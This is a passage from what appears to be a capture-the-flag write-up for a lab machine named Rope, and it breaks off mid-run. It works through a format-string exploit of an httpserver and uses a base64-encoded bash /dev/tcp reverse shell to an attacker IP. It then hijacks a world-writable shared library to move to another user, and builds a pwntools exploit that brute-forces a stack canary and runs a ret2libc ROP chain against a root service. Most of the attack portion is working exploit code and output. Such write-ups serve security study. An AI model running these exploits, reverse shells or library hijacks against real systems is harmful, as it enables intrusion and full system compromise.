If we modify the exploit replacing GET
by whoami
, we will execute whoami
:
$ sed -i s/GET/whoami/g fmtstr_exploit.py
$ python3 fmtstr_exploit.py
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] Closed connection to 127.0.0.1 port 9999
$ ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 263141
sh: 1: request: not found
rocky
127.0.0.1:34440 404 - -HUV -IUV -JUV X-KUV
Cool, isn’t it? So param_3 + 0x400
actually points to the HTTP request method. We can verify it going to the decompiled source code again:
void parse_request(undefined4 param_1, int param_2) {
// ...
local_10 = *(int *) (in_GS_OFFSET + 0x14);
*(undefined4 *) (param_2 + 0x800) = 0;
*(undefined4 *) (param_2 + 0x804) = 0;
rio_readinitb(local_101c, param_1);
rio_readlineb(local_101c, &local_c10, 0x400);
__isoc99_sscanf(&local_c10, "%s %s", local_810, &local_410);
// ...
strcpy((char *) (param_2 + 0x400), local_810);
url_decode(local_1028, param_2, 0x400);
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
We see that it uses sscanf
(__isoc99_sscanf
) to parse the request line, splitting it by a white space, so the first part (the HTTP method) goes to local_810
. And after that, it is copied to param_2 + 0x400
. This variable param_2
in parse_request
is the same as param_3
for log_access
.
So we have a way to execute commands by exploiting the Format String vulnerability. But there’s still another issue: we can’t use spaces inside the command. According to unix.stackexchange.com, we can use the environment variable ${IFS}
for that. Let’s try:
$ sed -i s/whoami/echo\${IFS}asdf/g fmtstr_exploit.py
$ python3 fmtstr_exploit.py
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] Closed connection to 127.0.0.1 port 9999
$ ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 335175
sh: 1: request: not found
asdf
127.0.0.1:34442 404 - -HUV -IUV -JUV X-KUV
Alright, it’s time to exploit the remote server. Let’s recall that we had useful information in /proc/self/maps
(the base address of the binary is 0x565ab000
and the base address of Glibc is 0xf7dad000
):
$ curl 10.10.10.148:9999//proc/self/maps -H 'Range: bytes=0-1000000'
565ab000-565ac000 r--p 00000000 08:02 46784 /opt/www/httpserver
565ac000-565ae000 r-xp 00001000 08:02 46784 /opt/www/httpserver
565ae000-565af000 r--p 00003000 08:02 46784 /opt/www/httpserver
565af000-565b0000 r--p 00003000 08:02 46784 /opt/www/httpserver
565b0000-565b1000 rw-p 00004000 08:02 46784 /opt/www/httpserver
57c42000-57c64000 rw-p 00000000 00:00 0 [heap]
f7dad000-f7f7f000 r-xp 00000000 08:02 46904 /lib32/libc-2.27.so
f7f7f000-f7f80000 ---p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f80000-f7f82000 r--p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f82000-f7f83000 rw-p 001d4000 08:02 46904 /lib32/libc-2.27.so
f7f83000-f7f86000 rw-p 00000000 00:00 0
f7f8f000-f7f91000 rw-p 00000000 00:00 0
f7f91000-f7f94000 r--p 00000000 00:00 0 [vvar]
f7f94000-f7f96000 r-xp 00000000 00:00 0 [vdso]
f7f96000-f7fbc000 r-xp 00000000 08:02 46900 /lib32/ld-2.27.so
f7fbc000-f7fbd000 r--p 00025000 08:02 46900 /lib32/ld-2.27.so
f7fbd000-f7fbe000 rw-p 00026000 08:02 46900 /lib32/ld-2.27.so
ffea8000-ffec9000 rw-p 00000000 00:00 0 [stack]
curl: (18) transfer closed with 998488 bytes remaining to read
Let’s download the remote Glibc:
$ wget -q 10.10.10.148:9999//lib32/libc-2.27.so
$ file libc-2.27.so
libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=63b3d43ad45e1b0f601848c65b067f9e9b40528b, for GNU/Linux 3.2.0, stripped
Once we have understood how a Format String exploit works, we can automate everything with pwntools
. We will see it is extremely easy:
def main():
if len(sys.argv) == 1:
log.error(f"Usage: python3 {sys.argv[0]} '<command>'")
elf.address, glibc.address = get_base_addresses()
log.success(f'ELF base address : {hex(elf.address)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
command = sys.argv[1].replace(' ', '${IFS}').encode()
payload = url_encode(fmtstr_payload(53, {
elf.got.puts: glibc.sym.system
}))
http = remote(host, 9999)
http.sendline(command + b' /' + payload + b' HTTP/1.1\n')
http.close()
The full exploit script can be found in here: fmtstr_exploit.py
.
Now, let’s get a reverse shell on the machine using nc
:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ python3 fmtstr_exploit.py 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash'
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] Closed connection to 10.10.10.148 port 9999
[+] ELF base address : 0x5657c000
[+] Glibc base address: 0xf7d7a000
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] Closed connection to 10.10.10.148 port 9999
$ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.148 43178
bash: cannot set terminal process group (1193): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
john@rope:/opt/www$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
bash: /root/.bashrc: Permission denied
john@rope:/opt/www$ ^Z
zsh: suspended nc -nlvp 4444
$ stty raw -echo; fg
[1] + continued nc -nlvp 4444
reset xterm
john@rope:/opt/www$ export TERM=xterm
john@rope:/opt/www$ export SHELL=bash
john@rope:/opt/www$ stty rows 50 columns 158
Perfect, we have Remote Code Execution (RCE) as john
.
Lateral movement to user r4j
Basic enumeration tells us that john
is allowed to run /usr/bin/readlogs
as r4j
using sudo
:
john@rope:/opt/www$ sudo -l
Matching Defaults entries for john on rope:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on rope:
(r4j) NOPASSWD: /usr/bin/readlogs
john@rope:/opt/www$ file /usr/bin/readlogs
/usr/bin/readlogs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, B
uildID[sha1]=67bdf14148530fcc5c26260c3450077442e89f66, not stripped
It is an ELF binary. If we run it, we see a bunch of log messages:
john@rope:/opt/www$ sudo -u r4j /usr/bin/readlogs
Jul 19 21:00:01 rope CRON[1726]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:00:01 rope CRON[1726]: pam_unix(cron:session): session closed for user root
Jul 19 21:02:01 rope CRON[1731]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:02:01 rope CRON[1731]: pam_unix(cron:session): session closed for user root
Jul 19 21:04:01 rope CRON[1785]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:04:01 rope CRON[1785]: pam_unix(cron:session): session closed for user root
Jul 19 21:06:01 rope CRON[1808]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:06:01 rope CRON[1808]: pam_unix(cron:session): session closed for user root
Jul 19 21:06:08 rope sudo: john : TTY=pts/0 ; PWD=/opt/www ; USER=r4j ; COMMAND=/usr/bin/readlogs
Jul 19 21:06:08 rope sudo: pam_unix(sudo:session): session opened for user r4j by (uid=0)
Nothing interesting at all. If we take a look at shared libraries used by the binary, we have these ones:
john@rope:/opt/www$ ldd /usr/bin/readlogs
linux-vdso.so.1 (0x00007ffd4f3e0000)
liblog.so => /lib/x86_64-linux-gnu/liblog.so (0x00007fc8e6732000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc8e5f28000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc8e651b000)
Testing them one by one, eventually we will see that liblog.so
is writable by anyone:
john@rope:/opt/www$ ls -l /lib/x86_64-linux-gnu/liblog.so
-rwxrwxrwx 1 root root 15984 Jun 19 2019 /lib/x86_64-linux-gnu/liblog.so
Library Hijacking attack
Therefore, we can perform a Library Hijacking attack and inject malicious commands in that shared library, so that those commands are executed as r4j
. To begin with, we can create this simple C program and compile it as a shared library:
john@rope:/opt/www$ cd /tmp
john@rope:/tmp$ vim lib.c
john@rope:/tmp$ cat lib.c
#include <unistd.h>
void _init() {
char *argv[] = {"/bin/sh", 0};
execve(argv[0], &argv[0], NULL);
}
john@rope:/tmp$ gcc -shared -fpic lib.c -o /lib/x86_64-linux-gnu/liblog.so
The idea is to hijack the program execution once the library is loaded, that’s why we define a _init
function. However, we need to define a function called printlog
, because it is used by the binary:
john@rope:/tmp$ sudo -u r4j /usr/bin/readlogs
/usr/bin/readlogs: symbol lookup error: /usr/bin/readlogs: undefined symbol: printlog
So let’s change _init
by printlog
:
john@rope:/tmp$ vim lib.c
john@rope:/tmp$ cat lib.c
#include <unistd.h>
void printlog() {
char *argv[] = {"/bin/sh", 0};
execve(argv[0], &argv[0], NULL);
}
john@rope:/tmp$ gcc -shared -fpic lib.c -o /lib/x86_64-linux-gnu/liblog.so
And now we have a shell as r4j
:
john@rope:/tmp$ sudo -u r4j /usr/bin/readlogs
$ whoami
r4j
$ bash
r4j@rope:/tmp$ cd /home/r4j
r4j@rope:/home/r4j$ cat user.txt
e81294485fad64644230fc9397b127f8
Privilege escalation
This user belongs to group adm
. If we list files owned by this group, we get a suspicious one:
r4j@rope:/tmp$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)
r4j@rope:/tmp$ find / -group adm 2>/dev/null
/opt/support
/opt/support/contact
/var/spool/rsyslog
/var/log/unattended-upgrades
/var/log/kern.log
/var/log/syslog
/var/log/cloud-init.log
/var/log/apt/term.log
/var/log/auth.log
/snap/core/7270/var/log/dmesg
/snap/core/7270/var/log/fsck/checkfs
/snap/core/7270/var/log/fsck/checkroot
/snap/core/7270/var/spool/rsyslog
/snap/core/6964/var/log/dmesg
/snap/core/6964/var/log/fsck/checkfs
/snap/core/6964/var/log/fsck/checkroot
/snap/core/6964/var/spool/rsyslog
Yes, it is /opt/support/contact
, which is another binary file:
r4j@rope:/tmp$ ls -l /opt/support/contact
-rwxr-x--- 1 root adm 14632 Jun 19 2019 /opt/support/contact
r4j@rope:/tmp$ file /opt/support/contact
/opt/support/contact: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3b330cabc203d0d813e3114f1515b044a1fd4f, stripped
Binary analysis: contact
If we try to run it, we get an error:
r4j@rope:/tmp$ /opt/support/contact
ERROR: Address already in use
So, we might think that the binary is already running. In fact, if we enumerate local ports open, we see that there’s a process listening on port 1337:
r4j@rope:/tmp$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN
tcp 0 138 10.10.10.148:43178 10.10.17.44:4444 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
Then, we can list processes and check that /opt/support/contact
is running as root
:
r4j@rope:/tmp$ ps -faux | tail
r4j 1973 0.0 0.2 19680 4536 pts/0 S Jul19 0:00 | \_ bash
r4j 2319 0.0 0.1 36856 3324 pts/0 R+ 00:09 0:00 | \_ ps -faux
r4j 2320 0.0 0.0 4568 848 pts/0 S+ 00:09 0:00 | \_ tail
root 1126 0.0 0.1 57500 3148 ? S Jul19 0:00 \_ /usr/sbin/CRON -f
root 1194 0.0 0.0 4628 804 ? Ss Jul19 0:00 \_ /bin/sh -c /opt/support/contact
root 1196 0.0 0.0 4516 704 ? S Jul19 0:00 \_ /opt/support/contact
syslog 1102 0.0 0.2 267272 5112 ? Ssl Jul19 0:00 /usr/sbin/rsyslogd -n
root 1116 0.0 0.3 288876 6444 ? Ssl Jul19 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1148 0.0 0.0 14888 1924 tty1 Ss+ Jul19 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1167 0.0 0.2 72296 5588 ? Ss Jul19 0:00 /usr/sbin/sshd -D
Let’s download the binary to our attacker machine in order to analyze it with Ghidra:
r4j@rope:/tmp$ which python3
/usr/bin/python3
r4j@rope:/tmp$ cd /opt/support/
r4j@rope:/opt/support$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [] "GET /contact HTTP/1.1" 200 -
$ wget 10.10.10.148:8000/contact
First of all, the binary is almost completely protected:
$ checksec contact
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
In Ghidra, we can see this main
function:
void main() {
long in_FS_OFFSET;
socklen_t local_40;
uint port;
uint local_38;
uint local_34;
int local_30;
int local_2c;
sockaddr local_28;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
port = 1337;
local_40 = 0x10;
local_38 = FUN_00101267(1337);
local_34 = local_38;
if (0 < (int) local_38) {
printf("listen on port %d, fd is %d\n", (ulong) port, (ulong) local_38);
signal(0xd, (__sighandler_t) 0x1);
signal(0x11, (__sighandler_t) 0x1);
while (true) {
do {
local_30 = accept(local_38, &local_28, &local_40);
} while (local_30 < 0);
local_2c = process();
if (local_2c == 1) break;
close(local_30);
}
/* WARNING: Subroutine does not return */
exit(0);
}
perror("ERROR");
/* WARNING: Subroutine does not return */
exit(local_38);
}
Again, it is a socket server that listens on port 1337. Once a new connection is received, it is passed to function process
(renamed from FUN_001014ee
):
__pid_t process(uint param_1) {
long canary;
__pid_t _Var2;
__uid_t _Var3;
size_t __n;
long in_FS_OFFSET;
canary = *(long *) (in_FS_OFFSET + 0x28);
_Var2 = fork();
if (_Var2 == 0) {
_Var3 = getuid();
printf("[+] Request accepted fd %d, pid %d\n", (ulong) param_1, (ulong)_Var3);
__n = strlen(s_Please_enter_the_message_you_wan_001040e0);
write(param_1, s_Please_enter_the_message_you_wan_001040e0, __n);
vuln();
send(param_1, "Done.\n", 6, 0);
_Var2 = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return _Var2;
}
Basically, it prints some messages to stdout
and then goes to vuln
(renamed from FUN_0010159a
):
void vuln(int param_1) {
long in_FS_OFFSET;
undefined local_48[56];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
recv(param_1, local_48, 0x400, 0);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Obviously, if I used vuln
as a name is because the function is vulnerable. Indeed, there is a Buffer Overflow vulnerability since local_48
has 56 assigned as buffer and recv
reads up to 0x400
(1024) bytes and stores them in local_48
. We can test it locally:
$ ./contact
listen on port 1337, fd is 3
$ nc 127.0.0.1 1337
Please enter the message you want to send to admin:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./contact
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 1000
*** stack smashing detected ***: terminated
We don’t see a segmentation fault message, but we get *** stack smashing detected ***
, which is caused by the canary protection.
Buffer Overflow exploitation
Let’s give a bit of background. The stack canary is a random value computed at the begining of the program and it is saved in the stack right before the saved $rbp
and $rip
. When a function returns, the program checks that the value of the canary at the stack is the same as the one computed by the program at startup (which is stored in a safe location). If the values are different, the program assumes that a Buffer Overflow attack (stack smashing) has occured and it stops the execution flow (__stack_chk_fail
). Otherwise, the program continues.
Hence, in order to bypass this protection, we must somehow obtain the value of the canary (which is computed at runtime, so it changes every time the program is restarted). Then we must place it in our payload, so that we overwrite the canary with the same value and the program does not notice the Buffer Overflow exploitation.
But how can we accomplish this? Well, this is a socket server that forks when a new connection arrives, so all the memory map is copied from the parent process to the child process. This means that the process that crashes is the child process, and the parent keeps listening for more connections. Moreover, the stack canary is set by the parent process and it is copied to the children. We can potentially leak the canary byte by byte using what’s called an oracle.
First of all, let’s download the Glibc library and the loader from the machine to have the same exploit locally and remotely:
r4j@rope:/opt/support$ cd /
r4j@rope:/$ ldd /opt/support/contact
linux-vdso.so.1 (0x00007ffccd8fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1bc9c6b000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1bca05c000)
r4j@rope:/$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [] "GET /lib/x86_64-linux-gnu/libc.so.6 HTTP/1.1" 200 -
10.10.17.44 - - [] "GET /lib64/ld-linux-x86-64.so.2 HTTP/1.1" 200 -
$ wget -q 10.10.10.148:8000/lib/x86_64-linux-gnu/libc.so.6
$ wget -q 10.10.10.148:8000/lib64/ld-linux-x86-64.so.2
Using pwninit
we are able to patch the binary so that it uses the above library and loader:
$ pwninit --libc libc.so.6 --ld ld-linux-x86-64.so.2 --bin contact --no-template
bin: contact
libc: libc.so.6
ld: ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1_amd64.deb
setting ld-linux-x86-64.so.2 executable
copying contact to contact_patched
running patchelf on contact_patched
Now we have contact_patched
, which will behave exactly as the remote one.
Let’s start by getting the number of bytes needed to trigger the Buffer Overflow vulnerability. One way of doing this is matematically (because local_48
has 56 bytes assigned, it means that the next 8 bytes are for the stack canary, then the saved $rbp
and then the saved $rip
or return instruction).
Let’s test it. If we enter exactly 56 bytes, everything is OK:
$ python3 -c 'import os; os.write(1, b"A" * 56)' | nc 127.0.0.1 1337
Please enter the message you want to send to admin:
Done.
$ ./contact_patched
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 1000
Now let’s enter one byte more:
$ python3 -c 'import os; os.write(1, b"A" * 57)' | nc 127.0.0.1 1337
Please enter the message you want to send to admin:
$ ./contact_patched
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 1000
*** stack smashing detected ***: <unknown> terminated
Alright, so we know where the canary starts. Do you notice any other difference in the responses? Yes, we have an oracle! If the canary is not modified, then the server answers Done.
, otherwise, it does not. So we have a way to make brute force byte by byte until we get a Done.
message, meaning that the tested byte is correct and we can pass to the next byte of the canary, until we get the full value.
Getting memory leaks
We can start writing an exploit script using Python and pwntools
:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('contact')
glibc = ELF('libc.so.6', checksec=False)
def get_process():
if len(sys.argv) != 2:
log.error(f'Usage: python3 {sys.argv[0]} <ip:port>')
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
offset = 56
junk = b'A' * offset
canary = b''
canary_prog = log.progress('Canary')
while len(canary) < 8:
for b in range(256):
with context.local(log_level='CRITICAL'):
p = get_process()
test_canary = canary + p8(b)
canary_prog.status(test_canary.hex())
p.sendafter(b'admin:\n', junk + test_canary)
try:
if b'Done.' in p.recv():
canary = test_canary
break
except EOFError:
pass
finally:
with context.local(log_level='CRITICAL'):
p.close()
canary_prog.success(canary.hex())
if __name__ == '__main__':
main()
After a few minutes, we will get the canary:
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 00a473852a55d816
Now that we have leaked the canary, we are able to exploit the Buffer Overflow vulnerability. We know it is indeed the canary because it has a null byte at the start, which prevents it from being leaked as a string (because strings in C are terminated by a null byte). Furthermore, as long as we don’t stop the server, the value of the canary can be hard-coded in the exploit to save time, since it won’t change.
The next protection we need to bypass is PIE, which means that ASLR affects the addresses of the binary. Hence, we must leak an address from the binary at runtime to compute the base address.
For the moment, the only thing we can do to leak this address is to continue with the brute force attack and leak the saved $rbp
and $rip
. We know that vuln
will return back to process
, so the saved return address is inside process
(hence, within the binary).
We can still use the same oracle because $rbp
and $rip
are used by the program to control the stack and the execution flow, respectively. If we modify a single byte of them, it’s really likely that the program will crash, thus having the same oracle as before.
At this point, we can extract the code to do the brute force inside of a function and use it three times:
def brute_force_value(payload: bytes, name: str, start: bytes = b'') -> bytes:
value = start
value_prog = log.progress(name)
while len(value) < 8:
for b in range(256):
with context.local(log_level='CRITICAL'):
p = get_process()
test_value = value + p8(b)
value_prog.status(test_value.hex())
p.sendafter(b'admin:\n', payload + test_value)
try:
if b'Done.' in p.recv(timeout=1):
value = test_value
break
except EOFError:
pass
finally:
with context.local(log_level='CRITICAL'):
p.close()
value_prog.success(value.hex())
return value
def main():
offset = 56
junk = b'A' * offset
canary = brute_force_value(junk, 'Canary ', start=b'\0')
saved_rbp = brute_force_value(junk + canary, 'Saved $rbp')
saved_rip = brute_force_value(junk + canary + saved_rbp, 'Saved $rip', start=b'\x62')
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
[+] Saved $rip: 6265406add550000
And we got the leaks (notice they are reversed). I used a start
parameter to give the brute force process a fix byte where to start, because I know beforehand it will always be the same. In order to save time, we can hard-code them in the script, so we don’t have to use brute force again.
Now we can compute the base address of the binary, because we know that vuln
returns at 0x1562
(from Ghidra). We can also see it with objdump
(send
is called right after vuln
, but the binary does not show function names because it is stripped):
$ objdump -M intel -d contact | grep -B 6 send
0000000000001090 <htons@plt>:
1090: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 4048 <__cxa_finalize@plt+0x2ed8>
1096: 68 06 00 00 00 push 0x6
109b: e9 80 ff ff ff jmp 1020 <recv@plt-0x10>
00000000000010a0 <send@plt>:
--
155d: e8 38 00 00 00 call 159a <__cxa_finalize@plt+0x42a>
1562: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
1565: b9 00 00 00 00 mov ecx,0x0
156a: ba 06 00 00 00 mov edx,0x6
156f: 48 8d 35 26 0b 00 00 lea rsi,[rip+0xb26] # 209c <__cxa_finalize@plt+0xf2c>
1576: 89 c7 mov edi,eax
1578: e8 23 fb ff ff call 10a0 <send@plt>
This is the base address of the binary:
elf.address = u64(saved_rip) - 0x1562
log.success(f'ELF base address: {hex(elf.address)}')
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
[+] Saved $rip: 6265406add550000
[+] ELF base address: 0x55dd6a405000
As a sanity check, if the base address of the binary ends in 000
, then it is probably correct. If not, there must be an error somewhere.
ret2libc attack
Now that we have the base address of the binary, we can compute any address within the binary using the corresponding offsets. Since NX is enabled, we will need to use Return Oriented Programming (ROP) in order to execute arbitrary code. This technique makes use of gadgets, which are addresses to instructions that end in ret
, so when they are placed in the stack overwriting the return address, they execute one after each other (that’s why the payload is often called ROP chain). With ROP, the program will be jumping to executable addresses within the binary, so that we bypass NX.
The aim of the exploit is to perform a ret2libc attack, that is to execute functions from Glibc. For this, we will need yet another leak, in order to bypass ASLR. The leak must be done by calling puts
using as first argument an address of the GOT. As stated before, the GOT will contain the addresses of external functions at runtime. Since strings in C are pointers, if we pass an address of GOT to puts
, this function will print out the value stored at that address, leading to a Glibc function leak.
In order to call a function like puts
(which is external), we can use the Procedure Linkage Table (PLT), which is a table inside the binary that performs a jump to the address of the corresponding function.
Then, we need to indicate the parameter to puts
. Since this is a 64-bit binary, the calling conventions say that parameters to functions are passed by registers (in order: $rdi
, $rsi
, $rdx
, $rcx
…). There is an useful gadget pop rdi; ret
that we can use to add a given value to $rdi
taken from the stack.
The above is a common procedure to leak function addresses for a ret2libc attack. This time, there is something different. We are not running the binary, but connecting to a socket, so we can’t read from stdout
. Hence, instead of puts
, we must call write
and pass the socket file descriptor (usually, 4
) as first argument, the string to print as second argument, and the length of the string as third argument.
These are all the values we need:
- Gadgets
pop rdi; ret
(offset0x164b
),pop rsi; pop r15; ret
(offset0x1649
),pop rdx; ret
(offset0x1265
). Notice that to set$rsi
we will also need to set a dummy value to$r15
:
$ ROPgadget --binary contact | grep 'pop r[ds][ix]'
0x000000000000164b : pop rdi ; ret
0x0000000000001265 : pop rdx ; ret
0x0000000000001649 : pop rsi ; pop r15 ; ret
- A function to leak, for example
send
at the GOT (offset0x4050
):
$ readelf -r contact | grep send
000000004050 000900000007 R_X86_64_JUMP_SLO 0000000000000000 send@GLIBC_2.2.5 + 0
$ objdump -M intel -R contact | grep send
0000000000004050 R_X86_64_JUMP_SLOT send@GLIBC_2.2.5
write
at the PLT (offset0x1050
):
$ objdump -M intel -d contact | grep '<write@plt>'
0000000000001050 <write@plt>:
154e: e8 fd fa ff ff call 1050 <write@plt>
All the above values can be used to craft the exploit more manually. Instead, I’ll be using pwntools
functions, because we already know what we are doing:
rop = ROP(elf)
socket_fd = 4
payload = junk
payload += canary
payload += saved_rbp
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(socket_fd)
payload += p64(rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0])
payload += p64(elf.got.send)
payload += p64(0)
payload += p64(rop.find_gadget(['pop rdx', 'ret'])[0])
payload += p64(8)
payload += p64(elf.plt.write)
with context.local(log_level='CRITICAL'):
p = get_process()
p.sendlineafter(b'admin:\n', payload)
send_addr = u64(p.recv().ljust(8, b'\0'))
glibc.address = send_addr - glibc.symbols.send
p.close()
log.success(f'Leaked send() address: {hex(send_addr)}')
log.success(f'Glibc base address : {hex(glibc.address)}')
And so, we get the leak and we can compute the base address of Glibc (substracting the offset for send
):
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
[+] Saved $rip: 6265406add550000
[+] ELF base address: 0x55dd6a405000
[*] Loaded 15 cached gadgets for 'contact'
[+] Leaked send() address: 0x7f86cf406c30
[+] Glibc base address : 0x7f86cf2e4000
Again, as a sanity check, we need to verify that the base address of Glibc ends in 000
in hexadecimal.
The offset of send
inside Glibc can be obtained manually like follows (offset 0x122c30
):
$ readelf -s libc.so.6 | grep send$
4239: 0000000000122c30 185 FUNC LOCAL DEFAULT 13 __libc_send
5010: 0000000000122c30 185 FUNC LOCAL DEFAULT 13 __GI___send
6755: 0000000000122c30 185 FUNC WEAK DEFAULT 13 send
7504: 0000000000122c30 185 FUNC GLOBAL DEFAULT 13 __send
At this point, we only need to perform the ret2libc attack, which is basically calling system("/bin/sh")
to spawn a shell. Since we have the base address of Glibc, we are able to compute the addresses of system
and "/bin/sh"
at runtime by using the corresponding offsets (0x4f440
and 0x1b3e9a
, respectively):
$ readelf -s libc.so.6 | grep system$
504: 000000000004eeb0 1200 FUNC LOCAL DEFAULT 13 do_system
6032: 000000000004f440 45 FUNC WEAK DEFAULT 13 system
6696: 000000000004f440 45 FUNC GLOBAL DEFAULT 13 __libc_system
$ strings -atx libc.so.6 | grep /bin/sh
1b3e9a /bin/sh
Nevertheless, this precise technique would work in a conventional ret2libc challenge. This time, if we use this procedure, the shell will be opened in server side. In order to get an interactive shell, we must duplicate file descriptors, so that stdin
(file descriptor 0
), stdout
(file descriptor 1
) and stderr
(file descriptor 2
) are copied to the socket file descriptor (which is 4
). This operation can be done with dup2
from Glibc, which receives as first argument the old file descriptor and as second argument the new file descriptor. The idea is to map 4
-> 0
, 4
-> 1
and 4
-> 2
. Therefore, the ROP chain becomes a bit bigger.
This is the offset for dup2
inside Glibc (0x1109a0
):
$ readelf -s libc.so.6 | grep dup2$
3623: 00000000001109a0 33 FUNC LOCAL DEFAULT 13 __GI___dup2
3726: 00000000001109a0 33 FUNC LOCAL DEFAULT 13 __GI_dup2
5583: 00000000001109a0 33 FUNC WEAK DEFAULT 13 dup2
5595: 00000000001109a0 33 FUNC GLOBAL DEFAULT 13 __dup2
So this is the full ROP chain to get a shell (I used Glibc to get ROP gadgets as well):
rop = ROP([elf, glibc])
payload = junk
payload += canary
payload += saved_rbp
for fd in [0, 1, 2]:
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(socket_fd)
payload += p64(rop.find_gadget(['pop rsi', 'ret'])[0])
payload += p64(fd)
payload += p64(glibc.symbols.dup2)
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.symbols.system)
with context.local(log_level='CRITICAL'):
p = get_process()
p.sendlineafter(b'admin:\n', payload)
print()
p.interactive()
And we obtain an interactive shell in our local environment:
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
